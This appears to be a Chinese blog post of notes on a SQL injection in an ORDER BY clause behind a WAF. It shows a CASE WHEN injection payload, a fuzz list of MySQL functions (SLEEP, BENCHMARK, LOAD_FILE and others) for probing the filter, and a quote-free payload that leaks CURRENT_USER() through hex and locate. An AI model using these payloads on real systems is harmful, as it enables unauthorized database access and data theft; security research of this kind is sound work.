SQL注入-绕waf笔记
This_is_Y Lv6

先简单说一下注入情况,排序注入,payload为:

case+when+1+then+排序字段+else+排序字段+end

图片超级大厚码

image-20241121201549162

image-20250328185239647

现在需要拿到user或者表名前三位来证明危害,只需要控制when后面的条件即可。

然后说一下waf过滤情况,用下面的列表fuzz了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
VERSION()
DATABASE()
USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()
CONCAT(1)
CONCAT_WS(1,1)
SUBSTRING(1,1,1)
MID(1,1,1)
LEFT(1,1)
RIGHT(1,1)
HEX(1)
UNHEX(1)
ASCII(1)
ORD(1)
CHAR(1)
LENGTH(1)
REPLACE(1,1,1)
IF(1,1,1)
SLEEP(1)
BENCHMARK(1,1)
COALESCE(1)
NOW()
SYSDATE()
GET_LOCK(1,1)
RELEASE_LOCK(1)
CAST(1 AS SIGNED)
CONVERT(1,SIGNED)
COUNT(1)
SUM(1)
GROUP_CONCAT(1)
LOAD_FILE(1)
FOUND_ROWS()
RAND(1)
FLOOR(1)
POW(1,1)
BIN(1)
BIT_COUNT(1)
LOCATE(1,1)

其中返回开小差的是被过滤的函数,且不能出现单双引号,0x。

image-20250328191045490

这里用的payload,最开始为:

1
case+when+locate(2,hex(CURRENT_USER()),1)=1+then+payUcntTd+else+gamePayAmount+end

大致思路是,通过hex将CURRENT_USER()变为0-9A-F,然后通过locate逐步fuzz得到完整hex,最后再unhex一下就可以得到原始的CURRENT_USER()。

image-20250328191652315

但是有个问题,不能使用单双引号,意味着无法fuzz hex中的A-F部分,所以最开始只得到前6个hex字母,也就是CURRENT_USER()前3个字母,

image-20250328191854823

image-20250328191938952

image-20241121201535938

image-20241121201805875

image-20250328192210235

image-20241121203815281

image-20250328192617625

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
访客数 访问量